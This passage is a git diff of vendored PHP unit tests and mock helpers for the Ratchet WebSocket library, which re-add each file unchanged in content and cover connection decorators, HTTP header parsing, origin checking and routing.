$this->getDecoratorClassString(); - $this->_serv = new $decorator($this->_app); - $this->_conn = $this->getMock('\Ratchet\ConnectionInterface'); - - $this->doOpen($this->_conn); - } - - protected function doOpen($conn) { - $this->_serv->onOpen($conn); - } - - public function isExpectedConnection() { - return new \PHPUnit_Framework_Constraint_IsInstanceOf($this->getConnectionClassString()); - } - - public function testOpen() { - $this->_app->expects($this->once())->method('onOpen')->with($this->isExpectedConnection()); - $this->doOpen($this->getMock('\Ratchet\ConnectionInterface')); - } - - public function testOnClose() { - $this->_app->expects($this->once())->method('onClose')->with($this->isExpectedConnection()); - $this->_serv->onClose($this->_conn); - } - - public function testOnError() { - $e = new \Exception('Whoops!'); - $this->_app->expects($this->once())->method('onError')->with($this->isExpectedConnection(), $e); - $this->_serv->onError($this->_conn, $e); - } - - public function passthroughMessageTest($value) { - $this->_app->expects($this->once())->method('onMessage')->with($this->isExpectedConnection(), $value); - $this->_serv->onMessage($this->_conn, $value); - } -} +_app = $this->getMock($this->getComponentClassString()); + $decorator = $this->getDecoratorClassString(); + $this->_serv = new $decorator($this->_app); + $this->_conn = $this->getMock('\Ratchet\ConnectionInterface'); + + $this->doOpen($this->_conn); + } + + protected function doOpen($conn) { + $this->_serv->onOpen($conn); + } + + public function isExpectedConnection() { + return new \PHPUnit_Framework_Constraint_IsInstanceOf($this->getConnectionClassString()); + } + + public function testOpen() { + $this->_app->expects($this->once())->method('onOpen')->with($this->isExpectedConnection()); + $this->doOpen($this->getMock('\Ratchet\ConnectionInterface')); + } + + public function testOnClose() { + $this->_app->expects($this->once())->method('onClose')->with($this->isExpectedConnection()); + $this->_serv->onClose($this->_conn); + } + + public function testOnError() { + $e = new \Exception('Whoops!'); + $this->_app->expects($this->once())->method('onError')->with($this->isExpectedConnection(), $e); + $this->_serv->onError($this->_conn, $e); + } + + public function passthroughMessageTest($value) { + $this->_app->expects($this->once())->method('onMessage')->with($this->isExpectedConnection(), $value); + $this->_serv->onMessage($this->_conn, $value); + } +} diff --git a/vendor/cboden/ratchet/tests/helpers/Ratchet/Mock/Component.php b/vendor/cboden/ratchet/tests/helpers/Ratchet/Mock/Component.php index 34314ad220..e152988b8a 100644 --- a/vendor/cboden/ratchet/tests/helpers/Ratchet/Mock/Component.php +++ b/vendor/cboden/ratchet/tests/helpers/Ratchet/Mock/Component.php @@ -1,35 +1,35 @@ -last[__FUNCTION__] = func_get_args(); - } - - public function onOpen(ConnectionInterface $conn) { - $this->last[__FUNCTION__] = func_get_args(); - } - - public function onMessage(ConnectionInterface $from, $msg) { - $this->last[__FUNCTION__] = func_get_args(); - } - - public function onClose(ConnectionInterface $conn) { - $this->last[__FUNCTION__] = func_get_args(); - } - - public function onError(ConnectionInterface $conn, \Exception $e) { - $this->last[__FUNCTION__] = func_get_args(); - } - - public function getSubProtocols() { - return $this->protocols; - } -} +last[__FUNCTION__] = func_get_args(); + } + + public function onOpen(ConnectionInterface $conn) { + $this->last[__FUNCTION__] = func_get_args(); + } + + public function onMessage(ConnectionInterface $from, $msg) { + $this->last[__FUNCTION__] = func_get_args(); + } + + public function onClose(ConnectionInterface $conn) { + $this->last[__FUNCTION__] = func_get_args(); + } + + public function onError(ConnectionInterface $conn, \Exception $e) { + $this->last[__FUNCTION__] = func_get_args(); + } + + public function getSubProtocols() { + return $this->protocols; + } +} diff --git a/vendor/cboden/ratchet/tests/helpers/Ratchet/Mock/Connection.php b/vendor/cboden/ratchet/tests/helpers/Ratchet/Mock/Connection.php index fcabba54f8..5918296567 100644 --- a/vendor/cboden/ratchet/tests/helpers/Ratchet/Mock/Connection.php +++ b/vendor/cboden/ratchet/tests/helpers/Ratchet/Mock/Connection.php @@ -1,20 +1,20 @@ - '' - , 'close' => false - ); - - public $remoteAddress = '127.0.0.1'; - - public function send($data) { - $this->last[__FUNCTION__] = $data; - } - - public function close() { - $this->last[__FUNCTION__] = true; - } -} + '' + , 'close' => false + ); + + public $remoteAddress = '127.0.0.1'; + + public function send($data) { + $this->last[__FUNCTION__] = $data; + } + + public function close() { + $this->last[__FUNCTION__] = true; + } +} diff --git a/vendor/cboden/ratchet/tests/helpers/Ratchet/Mock/ConnectionDecorator.php b/vendor/cboden/ratchet/tests/helpers/Ratchet/Mock/ConnectionDecorator.php index 262a1b427f..5570c070c8 100644 --- a/vendor/cboden/ratchet/tests/helpers/Ratchet/Mock/ConnectionDecorator.php +++ b/vendor/cboden/ratchet/tests/helpers/Ratchet/Mock/ConnectionDecorator.php @@ -1,22 +1,22 @@ - '' - , 'end' => false - ); - - public function send($data) { - $this->last[__FUNCTION__] = $data; - - $this->getConnection()->send($data); - } - - public function close() { - $this->last[__FUNCTION__] = true; - - $this->getConnection()->close(); - } -} + '' + , 'end' => false + ); + + public function send($data) { + $this->last[__FUNCTION__] = $data; + + $this->getConnection()->send($data); + } + + public function close() { + $this->last[__FUNCTION__] = true; + + $this->getConnection()->close(); + } +} diff --git a/vendor/cboden/ratchet/tests/helpers/Ratchet/Mock/WampComponent.php b/vendor/cboden/ratchet/tests/helpers/Ratchet/Mock/WampComponent.php index 05825e0683..cd526cb2fc 100644 --- a/vendor/cboden/ratchet/tests/helpers/Ratchet/Mock/WampComponent.php +++ b/vendor/cboden/ratchet/tests/helpers/Ratchet/Mock/WampComponent.php @@ -1,43 +1,43 @@ -protocols; - } - - public function onCall(ConnectionInterface $conn, $id, $procURI, array $params) { - $this->last[__FUNCTION__] = func_get_args(); - } - - public function onSubscribe(ConnectionInterface $conn, $topic) { - $this->last[__FUNCTION__] = func_get_args(); - } - - public function onUnSubscribe(ConnectionInterface $conn, $topic) { - $this->last[__FUNCTION__] = func_get_args(); - } - - public function onPublish(ConnectionInterface $conn, $topic, $event, array $exclude, array $eligible) { - $this->last[__FUNCTION__] = func_get_args(); - } - - public function onOpen(ConnectionInterface $conn) { - $this->last[__FUNCTION__] = func_get_args(); - } - - public function onClose(ConnectionInterface $conn) { - $this->last[__FUNCTION__] = func_get_args(); - } - - public function onError(ConnectionInterface $conn, \Exception $e) { - $this->last[__FUNCTION__] = func_get_args(); - } -} +protocols; + } + + public function onCall(ConnectionInterface $conn, $id, $procURI, array $params) { + $this->last[__FUNCTION__] = func_get_args(); + } + + public function onSubscribe(ConnectionInterface $conn, $topic) { + $this->last[__FUNCTION__] = func_get_args(); + } + + public function onUnSubscribe(ConnectionInterface $conn, $topic) { + $this->last[__FUNCTION__] = func_get_args(); + } + + public function onPublish(ConnectionInterface $conn, $topic, $event, array $exclude, array $eligible) { + $this->last[__FUNCTION__] = func_get_args(); + } + + public function onOpen(ConnectionInterface $conn) { + $this->last[__FUNCTION__] = func_get_args(); + } + + public function onClose(ConnectionInterface $conn) { + $this->last[__FUNCTION__] = func_get_args(); + } + + public function onError(ConnectionInterface $conn, \Exception $e) { + $this->last[__FUNCTION__] = func_get_args(); + } +} diff --git a/vendor/cboden/ratchet/tests/helpers/Ratchet/NullComponent.php b/vendor/cboden/ratchet/tests/helpers/Ratchet/NullComponent.php index 46d9e6873c..90def216ae 100644 --- a/vendor/cboden/ratchet/tests/helpers/Ratchet/NullComponent.php +++ b/vendor/cboden/ratchet/tests/helpers/Ratchet/NullComponent.php @@ -1,28 +1,28 @@ -mock = $this->getMock('\Ratchet\ConnectionInterface'); - $this->l1 = new ConnectionDecorator($this->mock); - $this->l2 = new ConnectionDecorator($this->l1); - } - - public function testGet() { - $var = 'hello'; - $val = 'world'; - - $this->mock->$var = $val; - - $this->assertEquals($val, $this->l1->$var); - $this->assertEquals($val, $this->l2->$var); - } - - public function testSet() { - $var = 'Chris'; - $val = 'Boden'; - - $this->l1->$var = $val; - - $this->assertEquals($val, $this->mock->$var); - } - - public function testSetLevel2() { - $var = 'Try'; - $val = 'Again'; - - $this->l2->$var = $val; - - $this->assertEquals($val, $this->mock->$var); - } - - public function testIsSetTrue() { - $var = 'PHP'; - $val = 'Ratchet'; - - $this->mock->$var = $val; - - $this->assertTrue(isset($this->l1->$var)); - $this->assertTrue(isset($this->l2->$var)); - } - - public function testIsSetFalse() { - $var = 'herp'; - $val = 'derp'; - - $this->assertFalse(isset($this->l1->$var)); - $this->assertFalse(isset($this->l2->$var)); - } - - public function testUnset() { - $var = 'Flying'; - $val = 'Monkey'; - - $this->mock->$var = $val; - unset($this->l1->$var); - - $this->assertFalse(isset($this->mock->$var)); - } - - public function testUnsetLevel2() { - $var = 'Flying'; - $val = 'Monkey'; - - $this->mock->$var = $val; - unset($this->l2->$var); - - $this->assertFalse(isset($this->mock->$var)); - } - - public function testGetConnection() { - $class = new \ReflectionClass('\\Ratchet\\AbstractConnectionDecorator'); - $method = $class->getMethod('getConnection'); - $method->setAccessible(true); - - $conn = $method->invokeArgs($this->l1, array()); - - $this->assertSame($this->mock, $conn); - } - - public function testGetConnectionLevel2() { - $class = new \ReflectionClass('\\Ratchet\\AbstractConnectionDecorator'); - $method = $class->getMethod('getConnection'); - $method->setAccessible(true); - - $conn = $method->invokeArgs($this->l2, array()); - - $this->assertSame($this->l1, $conn); - } - - public function testWrapperCanStoreSelfInDecorator() { - $this->mock->decorator = $this->l1; - - $this->assertSame($this->l1, $this->l2->decorator); - } - - public function testDecoratorRecursion() { - $this->mock->decorator = new \stdClass; - $this->mock->decorator->conn = $this->l1; - - $this->assertSame($this->l1, $this->mock->decorator->conn); - $this->assertSame($this->l1, $this->l1->decorator->conn); - $this->assertSame($this->l1, $this->l2->decorator->conn); - } - - public function testDecoratorRecursionLevel2() { - $this->mock->decorator = new \stdClass; - $this->mock->decorator->conn = $this->l2; - - $this->assertSame($this->l2, $this->mock->decorator->conn); - $this->assertSame($this->l2, $this->l1->decorator->conn); - $this->assertSame($this->l2, $this->l2->decorator->conn); - - // just for fun - $this->assertSame($this->l2, $this->l2->decorator->conn->decorator->conn->decorator->conn); - } - - public function testWarningGettingNothing() { - $this->setExpectedException('PHPUnit_Framework_Error'); - $var = $this->mock->nonExistant; - } - - public function testWarningGettingNothingLevel1() { - $this->setExpectedException('PHPUnit_Framework_Error'); - $var = $this->l1->nonExistant; - } - - public function testWarningGettingNothingLevel2() { - $this->setExpectedException('PHPUnit_Framework_Error'); - $var = $this->l2->nonExistant; - } -} +mock = $this->getMock('\Ratchet\ConnectionInterface'); + $this->l1 = new ConnectionDecorator($this->mock); + $this->l2 = new ConnectionDecorator($this->l1); + } + + public function testGet() { + $var = 'hello'; + $val = 'world'; + + $this->mock->$var = $val; + + $this->assertEquals($val, $this->l1->$var); + $this->assertEquals($val, $this->l2->$var); + } + + public function testSet() { + $var = 'Chris'; + $val = 'Boden'; + + $this->l1->$var = $val; + + $this->assertEquals($val, $this->mock->$var); + } + + public function testSetLevel2() { + $var = 'Try'; + $val = 'Again'; + + $this->l2->$var = $val; + + $this->assertEquals($val, $this->mock->$var); + } + + public function testIsSetTrue() { + $var = 'PHP'; + $val = 'Ratchet'; + + $this->mock->$var = $val; + + $this->assertTrue(isset($this->l1->$var)); + $this->assertTrue(isset($this->l2->$var)); + } + + public function testIsSetFalse() { + $var = 'herp'; + $val = 'derp'; + + $this->assertFalse(isset($this->l1->$var)); + $this->assertFalse(isset($this->l2->$var)); + } + + public function testUnset() { + $var = 'Flying'; + $val = 'Monkey'; + + $this->mock->$var = $val; + unset($this->l1->$var); + + $this->assertFalse(isset($this->mock->$var)); + } + + public function testUnsetLevel2() { + $var = 'Flying'; + $val = 'Monkey'; + + $this->mock->$var = $val; + unset($this->l2->$var); + + $this->assertFalse(isset($this->mock->$var)); + } + + public function testGetConnection() { + $class = new \ReflectionClass('\\Ratchet\\AbstractConnectionDecorator'); + $method = $class->getMethod('getConnection'); + $method->setAccessible(true); + + $conn = $method->invokeArgs($this->l1, array()); + + $this->assertSame($this->mock, $conn); + } + + public function testGetConnectionLevel2() { + $class = new \ReflectionClass('\\Ratchet\\AbstractConnectionDecorator'); + $method = $class->getMethod('getConnection'); + $method->setAccessible(true); + + $conn = $method->invokeArgs($this->l2, array()); + + $this->assertSame($this->l1, $conn); + } + + public function testWrapperCanStoreSelfInDecorator() { + $this->mock->decorator = $this->l1; + + $this->assertSame($this->l1, $this->l2->decorator); + } + + public function testDecoratorRecursion() { + $this->mock->decorator = new \stdClass; + $this->mock->decorator->conn = $this->l1; + + $this->assertSame($this->l1, $this->mock->decorator->conn); + $this->assertSame($this->l1, $this->l1->decorator->conn); + $this->assertSame($this->l1, $this->l2->decorator->conn); + } + + public function testDecoratorRecursionLevel2() { + $this->mock->decorator = new \stdClass; + $this->mock->decorator->conn = $this->l2; + + $this->assertSame($this->l2, $this->mock->decorator->conn); + $this->assertSame($this->l2, $this->l1->decorator->conn); + $this->assertSame($this->l2, $this->l2->decorator->conn); + + // just for fun + $this->assertSame($this->l2, $this->l2->decorator->conn->decorator->conn->decorator->conn); + } + + public function testWarningGettingNothing() { + $this->setExpectedException('PHPUnit_Framework_Error'); + $var = $this->mock->nonExistant; + } + + public function testWarningGettingNothingLevel1() { + $this->setExpectedException('PHPUnit_Framework_Error'); + $var = $this->l1->nonExistant; + } + + public function testWarningGettingNothingLevel2() { + $this->setExpectedException('PHPUnit_Framework_Error'); + $var = $this->l2->nonExistant; + } +} diff --git a/vendor/cboden/ratchet/tests/unit/Http/HttpRequestParserTest.php b/vendor/cboden/ratchet/tests/unit/Http/HttpRequestParserTest.php index 9fb42a380f..6af8402c1d 100644 --- a/vendor/cboden/ratchet/tests/unit/Http/HttpRequestParserTest.php +++ b/vendor/cboden/ratchet/tests/unit/Http/HttpRequestParserTest.php @@ -1,50 +1,50 @@ -parser = new HttpRequestParser; - } - - public function headersProvider() { - return array( - array(false, "GET / HTTP/1.1\r\nHost: socketo.me\r\n") - , array(true, "GET / HTTP/1.1\r\nHost: socketo.me\r\n\r\n") - , array(true, "GET / HTTP/1.1\r\nHost: socketo.me\r\n\r\n1") - , array(true, "GET / HTTP/1.1\r\nHost: socketo.me\r\n\r\nHixie✖") - , array(true, "GET / HTTP/1.1\r\nHost: socketo.me\r\n\r\nHixie✖\r\n\r\n") - , array(true, "GET / HTTP/1.1\r\nHost: socketo.me\r\n\r\nHixie\r\n") - ); - } - - /** - * @dataProvider headersProvider - */ - public function testIsEom($expected, $message) { - $this->assertEquals($expected, $this->parser->isEom($message)); - } - - public function testBufferOverflowResponse() { - $conn = $this->getMock('\Ratchet\ConnectionInterface'); - - $this->parser->maxSize = 20; - - $this->assertNull($this->parser->onMessage($conn, "GET / HTTP/1.1\r\n")); - - $this->setExpectedException('OverflowException'); - - $this->parser->onMessage($conn, "Header-Is: Too Big"); - } - - public function testReturnTypeIsRequest() { - $conn = $this->getMock('\Ratchet\ConnectionInterface'); - $return = $this->parser->onMessage($conn, "GET / HTTP/1.1\r\nHost: socketo.me\r\n\r\n"); - - $this->assertInstanceOf('\Psr\Http\Message\RequestInterface', $return); - } -} +parser = new HttpRequestParser; + } + + public function headersProvider() { + return array( + array(false, "GET / HTTP/1.1\r\nHost: socketo.me\r\n") + , array(true, "GET / HTTP/1.1\r\nHost: socketo.me\r\n\r\n") + , array(true, "GET / HTTP/1.1\r\nHost: socketo.me\r\n\r\n1") + , array(true, "GET / HTTP/1.1\r\nHost: socketo.me\r\n\r\nHixie✖") + , array(true, "GET / HTTP/1.1\r\nHost: socketo.me\r\n\r\nHixie✖\r\n\r\n") + , array(true, "GET / HTTP/1.1\r\nHost: socketo.me\r\n\r\nHixie\r\n") + ); + } + + /** + * @dataProvider headersProvider + */ + public function testIsEom($expected, $message) { + $this->assertEquals($expected, $this->parser->isEom($message)); + } + + public function testBufferOverflowResponse() { + $conn = $this->getMock('\Ratchet\ConnectionInterface'); + + $this->parser->maxSize = 20; + + $this->assertNull($this->parser->onMessage($conn, "GET / HTTP/1.1\r\n")); + + $this->setExpectedException('OverflowException'); + + $this->parser->onMessage($conn, "Header-Is: Too Big"); + } + + public function testReturnTypeIsRequest() { + $conn = $this->getMock('\Ratchet\ConnectionInterface'); + $return = $this->parser->onMessage($conn, "GET / HTTP/1.1\r\nHost: socketo.me\r\n\r\n"); + + $this->assertInstanceOf('\Psr\Http\Message\RequestInterface', $return); + } +} diff --git a/vendor/cboden/ratchet/tests/unit/Http/HttpServerTest.php b/vendor/cboden/ratchet/tests/unit/Http/HttpServerTest.php index 4c798dcb26..7041d66b90 100644 --- a/vendor/cboden/ratchet/tests/unit/Http/HttpServerTest.php +++ b/vendor/cboden/ratchet/tests/unit/Http/HttpServerTest.php @@ -1,64 +1,64 @@ -_conn->httpHeadersReceived = true; - } - - public function getConnectionClassString() { - return '\Ratchet\ConnectionInterface'; - } - - public function getDecoratorClassString() { - return '\Ratchet\Http\HttpServer'; - } - - public function getComponentClassString() { - return '\Ratchet\Http\HttpServerInterface'; - } - - public function testOpen() { - $headers = "GET / HTTP/1.1\r\nHost: socketo.me\r\n\r\n"; - - $this->_conn->httpHeadersReceived = false; - $this->_app->expects($this->once())->method('onOpen')->with($this->isExpectedConnection()); - $this->_serv->onMessage($this->_conn, $headers); - } - - public function testOnMessageAfterHeaders() { - $headers = "GET / HTTP/1.1\r\nHost: socketo.me\r\n\r\n"; - $this->_conn->httpHeadersReceived = false; - $this->_serv->onMessage($this->_conn, $headers); - - $message = "Hello World!"; - $this->_app->expects($this->once())->method('onMessage')->with($this->isExpectedConnection(), $message); - $this->_serv->onMessage($this->_conn, $message); - } - - public function testBufferOverflow() { - $this->_conn->expects($this->once())->method('close'); - $this->_conn->httpHeadersReceived = false; - - $this->_serv->onMessage($this->_conn, str_repeat('a', 5000)); - } - - public function testCloseIfNotEstablished() { - $this->_conn->httpHeadersReceived = false; - $this->_conn->expects($this->once())->method('close'); - $this->_serv->onError($this->_conn, new \Exception('Whoops!')); - } - - public function testBufferHeaders() { - $this->_conn->httpHeadersReceived = false; - $this->_app->expects($this->never())->method('onOpen'); - $this->_app->expects($this->never())->method('onMessage'); - - $this->_serv->onMessage($this->_conn, "GET / HTTP/1.1"); - } -} +_conn->httpHeadersReceived = true; + } + + public function getConnectionClassString() { + return '\Ratchet\ConnectionInterface'; + } + + public function getDecoratorClassString() { + return '\Ratchet\Http\HttpServer'; + } + + public function getComponentClassString() { + return '\Ratchet\Http\HttpServerInterface'; + } + + public function testOpen() { + $headers = "GET / HTTP/1.1\r\nHost: socketo.me\r\n\r\n"; + + $this->_conn->httpHeadersReceived = false; + $this->_app->expects($this->once())->method('onOpen')->with($this->isExpectedConnection()); + $this->_serv->onMessage($this->_conn, $headers); + } + + public function testOnMessageAfterHeaders() { + $headers = "GET / HTTP/1.1\r\nHost: socketo.me\r\n\r\n"; + $this->_conn->httpHeadersReceived = false; + $this->_serv->onMessage($this->_conn, $headers); + + $message = "Hello World!"; + $this->_app->expects($this->once())->method('onMessage')->with($this->isExpectedConnection(), $message); + $this->_serv->onMessage($this->_conn, $message); + } + + public function testBufferOverflow() { + $this->_conn->expects($this->once())->method('close'); + $this->_conn->httpHeadersReceived = false; + + $this->_serv->onMessage($this->_conn, str_repeat('a', 5000)); + } + + public function testCloseIfNotEstablished() { + $this->_conn->httpHeadersReceived = false; + $this->_conn->expects($this->once())->method('close'); + $this->_serv->onError($this->_conn, new \Exception('Whoops!')); + } + + public function testBufferHeaders() { + $this->_conn->httpHeadersReceived = false; + $this->_app->expects($this->never())->method('onOpen'); + $this->_app->expects($this->never())->method('onMessage'); + + $this->_serv->onMessage($this->_conn, "GET / HTTP/1.1"); + } +} diff --git a/vendor/cboden/ratchet/tests/unit/Http/OriginCheckTest.php b/vendor/cboden/ratchet/tests/unit/Http/OriginCheckTest.php index cab2fd0cd8..c1c4012006 100644 --- a/vendor/cboden/ratchet/tests/unit/Http/OriginCheckTest.php +++ b/vendor/cboden/ratchet/tests/unit/Http/OriginCheckTest.php @@ -1,46 +1,46 @@ -_reqStub = $this->getMock('Psr\Http\Message\RequestInterface'); - $this->_reqStub->expects($this->any())->method('getHeader')->will($this->returnValue(['localhost'])); - - parent::setUp(); - - $this->_serv->allowedOrigins[] = 'localhost'; - } - - protected function doOpen($conn) { - $this->_serv->onOpen($conn, $this->_reqStub); - } - - public function getConnectionClassString() { - return '\Ratchet\ConnectionInterface'; - } - - public function getDecoratorClassString() { - return '\Ratchet\Http\OriginCheck'; - } - - public function getComponentClassString() { - return '\Ratchet\Http\HttpServerInterface'; - } - - public function testCloseOnNonMatchingOrigin() { - $this->_serv->allowedOrigins = ['socketo.me']; - $this->_conn->expects($this->once())->method('close'); - - $this->_serv->onOpen($this->_conn, $this->_reqStub); - } - - public function testOnMessage() { - $this->passthroughMessageTest('Hello World!'); - } -} +_reqStub = $this->getMock('Psr\Http\Message\RequestInterface'); + $this->_reqStub->expects($this->any())->method('getHeader')->will($this->returnValue(['localhost'])); + + parent::setUp(); + + $this->_serv->allowedOrigins[] = 'localhost'; + } + + protected function doOpen($conn) { + $this->_serv->onOpen($conn, $this->_reqStub); + } + + public function getConnectionClassString() { + return '\Ratchet\ConnectionInterface'; + } + + public function getDecoratorClassString() { + return '\Ratchet\Http\OriginCheck'; + } + + public function getComponentClassString() { + return '\Ratchet\Http\HttpServerInterface'; + } + + public function testCloseOnNonMatchingOrigin() { + $this->_serv->allowedOrigins = ['socketo.me']; + $this->_conn->expects($this->once())->method('close'); + + $this->_serv->onOpen($this->_conn, $this->_reqStub); + } + + public function testOnMessage() { + $this->passthroughMessageTest('Hello World!'); + } +} diff --git a/vendor/cboden/ratchet/tests/unit/Http/RouterTest.php b/vendor/cboden/ratchet/tests/unit/Http/RouterTest.php index b5ca6f00a8..1ca4cbc842 100644 --- a/vendor/cboden/ratchet/tests/unit/Http/RouterTest.php +++ b/vendor/cboden/ratchet/tests/unit/Http/RouterTest.php @@ -1,165 +1,165 @@ -_conn = $this->getMock('\Ratchet\ConnectionInterface'); - $this->_uri = $this->getMock('Psr\Http\Message\UriInterface'); - $this->_req = $this->getMock('\Psr\Http\Message\RequestInterface'); - $this->_req - ->expects($this->any()) - ->method('getUri') - ->will($this->returnValue($this->_uri)); - $this->_matcher = $this->getMock('Symfony\Component\Routing\Matcher\UrlMatcherInterface'); - $this->_matcher - ->expects($this->any()) - ->method('getContext') - ->will($this->returnValue($this->getMock('Symfony\Component\Routing\RequestContext'))); - $this->_router = new Router($this->_matcher); - - $this->_uri->expects($this->any())->method('getPath')->will($this->returnValue('ws://doesnt.matter/')); - $this->_uri->expects($this->any())->method('withQuery')->with($this->callback(function($val) { - $this->setResult($val); - - return true; - }))->will($this->returnSelf()); - $this->_uri->expects($this->any())->method('getQuery')->will($this->returnCallback([$this, 'getResult'])); - $this->_req->expects($this->any())->method('withUri')->will($this->returnSelf()); - } - - public function testFourOhFour() { - $this->_conn->expects($this->once())->method('close'); - - $nope = new ResourceNotFoundException; - $this->_matcher->expects($this->any())->method('match')->will($this->throwException($nope)); - - $this->_router->onOpen($this->_conn, $this->_req); - } - - public function testNullRequest() { - $this->setExpectedException('\UnexpectedValueException'); - $this->_router->onOpen($this->_conn); - } - - public function testControllerIsMessageComponentInterface() { - $this->setExpectedException('\UnexpectedValueException'); - $this->_matcher->expects($this->any())->method('match')->will($this->returnValue(array('_controller' => new \StdClass))); - $this->_router->onOpen($this->_conn, $this->_req); - } - - public function testControllerOnOpen() { - $controller = $this->getMockBuilder('\Ratchet\WebSocket\WsServer')->disableOriginalConstructor()->getMock(); - $this->_matcher->expects($this->any())->method('match')->will($this->returnValue(array('_controller' => $controller))); - $this->_router->onOpen($this->_conn, $this->_req); - - $expectedConn = new \PHPUnit_Framework_Constraint_IsInstanceOf('\Ratchet\ConnectionInterface'); - $controller->expects($this->once())->method('onOpen')->with($expectedConn, $this->_req); - - $this->_matcher->expects($this->any())->method('match')->will($this->returnValue(array('_controller' => $controller))); - $this->_router->onOpen($this->_conn, $this->_req); - } - - public function testControllerOnMessageBubbles() { - $message = "The greatest trick the Devil ever pulled was convincing the world he didn't exist"; - $controller = $this->getMockBuilder('\Ratchet\WebSocket\WsServer')->disableOriginalConstructor()->getMock(); - $controller->expects($this->once())->method('onMessage')->with($this->_conn, $message); - - $this->_conn->controller = $controller; - - $this->_router->onMessage($this->_conn, $message); - } - - public function testControllerOnCloseBubbles() { - $controller = $this->getMockBuilder('\Ratchet\WebSocket\WsServer')->disableOriginalConstructor()->getMock(); - $controller->expects($this->once())->method('onClose')->with($this->_conn); - - $this->_conn->controller = $controller; - - $this->_router->onClose($this->_conn); - } - - public function testControllerOnErrorBubbles() { - $e= new \Exception('One cannot be betrayed if one has no exceptions'); - $controller = $this->getMockBuilder('\Ratchet\WebSocket\WsServer')->disableOriginalConstructor()->getMock(); - $controller->expects($this->once())->method('onError')->with($this->_conn, $e); - - $this->_conn->controller = $controller; - - $this->_router->onError($this->_conn, $e); - } - - public function testRouterGeneratesRouteParameters() { - /** @var $controller WsServerInterface */ - $controller = $this->getMockBuilder('\Ratchet\WebSocket\WsServer')->disableOriginalConstructor()->getMock(); - /** @var $matcher UrlMatcherInterface */ - $this->_matcher->expects($this->any())->method('match')->will( - $this->returnValue(['_controller' => $controller, 'foo' => 'bar', 'baz' => 'qux']) - ); - $conn = $this->getMock('Ratchet\Mock\Connection'); - - $router = new Router($this->_matcher); - - $router->onOpen($conn, $this->_req); - - $this->assertEquals('foo=bar&baz=qux', $this->_req->getUri()->getQuery()); - } - - public function testQueryParams() { - $controller = $this->getMockBuilder('\Ratchet\WebSocket\WsServer')->disableOriginalConstructor()->getMock(); - $this->_matcher->expects($this->any())->method('match')->will( - $this->returnValue(['_controller' => $controller, 'foo' => 'bar', 'baz' => 'qux']) - ); - - $conn = $this->getMock('Ratchet\Mock\Connection'); - $request = $this->getMock('Psr\Http\Message\RequestInterface'); - $uri = new \GuzzleHttp\Psr7\Uri('ws://doesnt.matter/endpoint?hello=world&foo=nope'); - - $request->expects($this->any())->method('getUri')->will($this->returnCallback(function() use (&$uri) { - return $uri; - })); - $request->expects($this->any())->method('withUri')->with($this->callback(function($url) use (&$uri) { - $uri = $url; - - return true; - }))->will($this->returnSelf()); - - $router = new Router($this->_matcher); - $router->onOpen($conn, $request); - - $this->assertEquals('foo=nope&baz=qux&hello=world', $request->getUri()->getQuery()); - $this->assertEquals('ws', $request->getUri()->getScheme()); - $this->assertEquals('doesnt.matter', $request->getUri()->getHost()); - } - - public function testImpatientClientOverflow() { - $this->_conn->expects($this->once())->method('close'); - - $header = "GET /nope HTTP/1.1 -Upgrade: websocket -Connection: upgrade -Host: localhost -Origin: http://localhost -Sec-WebSocket-Version: 13\r\n\r\n"; - - $app = new HttpServer(new Router(new UrlMatcher(new RouteCollection, new RequestContext))); - $app->onOpen($this->_conn); - $app->onMessage($this->_conn, $header); - $app->onMessage($this->_conn, 'Silly body'); - } -} +_conn = $this->getMock('\Ratchet\ConnectionInterface'); + $this->_uri = $this->getMock('Psr\Http\Message\UriInterface'); + $this->_req = $this->getMock('\Psr\Http\Message\RequestInterface'); + $this->_req + ->expects($this->any()) + ->method('getUri') + ->will($this->returnValue($this->_uri)); + $this->_matcher = $this->getMock('Symfony\Component\Routing\Matcher\UrlMatcherInterface'); + $this->_matcher + ->expects($this->any()) + ->method('getContext') + ->will($this->returnValue($this->getMock('Symfony\Component\Routing\RequestContext'))); + $this->_router = new Router($this->_matcher); + + $this->_uri->expects($this->any())->method('getPath')->will($this->returnValue('ws://doesnt.matter/')); + $this->_uri->expects($this->any())->method('withQuery')->with($this->callback(function($val) { + $this->setResult($val); + + return true; + }))->will($this->returnSelf()); + $this->_uri->expects($this->any())->method('getQuery')->will($this->returnCallback([$this, 'getResult'])); + $this->_req->expects($this->any())->method('withUri')->will($this->returnSelf()); + } + + public function testFourOhFour() { + $this->_conn->expects($this->once())->method('close'); + + $nope = new ResourceNotFoundException; + $this->_matcher->expects($this->any())->method('match')->will($this->throwException($nope)); + + $this->_router->onOpen($this->_conn, $this->_req); + } + + public function testNullRequest() { + $this->setExpectedException('\UnexpectedValueException'); + $this->_router->onOpen($this->_conn); + } + + public function testControllerIsMessageComponentInterface() { + $this->setExpectedException('\UnexpectedValueException'); + $this->_matcher->expects($this->any())->method('match')->will($this->returnValue(array('_controller' => new \StdClass))); + $this->_router->onOpen($this->_conn, $this->_req); + } + + public function testControllerOnOpen() { + $controller = $this->getMockBuilder('\Ratchet\WebSocket\WsServer')->disableOriginalConstructor()->getMock(); + $this->_matcher->expects($this->any())->method('match')->will($this->returnValue(array('_controller' => $controller))); + $this->_router->onOpen($this->_conn, $this->_req); + + $expectedConn = new \PHPUnit_Framework_Constraint_IsInstanceOf('\Ratchet\ConnectionInterface'); + $controller->expects($this->once())->method('onOpen')->with($expectedConn, $this->_req); + + $this->_matcher->expects($this->any())->method('match')->will($this->returnValue(array('_controller' => $controller))); + $this->_router->onOpen($this->_conn, $this->_req); + } + + public function testControllerOnMessageBubbles() { + $message = "The greatest trick the Devil ever pulled was convincing the world he didn't exist"; + $controller = $this->getMockBuilder('\Ratchet\WebSocket\WsServer')->disableOriginalConstructor()->getMock(); + $controller->expects($this->once())->method('onMessage')->with($this->_conn, $message); + + $this->_conn->controller = $controller; + + $this->_router->onMessage($this->_conn, $message); + } + + public function testControllerOnCloseBubbles() { + $controller = $this->getMockBuilder('\Ratchet\WebSocket\WsServer')->disableOriginalConstructor()->getMock(); + $controller->expects($this->once())->method('onClose')->with($this->_conn); + + $this->_conn->controller = $controller; + + $this->_router->onClose($this->_conn); + } + + public function testControllerOnErrorBubbles() { + $e= new \Exception('One cannot be betrayed if one has no exceptions'); + $controller = $this->getMockBuilder('\Ratchet\WebSocket\WsServer')->disableOriginalConstructor()->getMock(); + $controller->expects($this->once())->method('onError')->with($this->_conn, $e); + + $this->_conn->controller = $controller; + + $this->_router->onError($this->_conn, $e); + } + + public function testRouterGeneratesRouteParameters() { + /** @var $controller WsServerInterface */ + $controller = 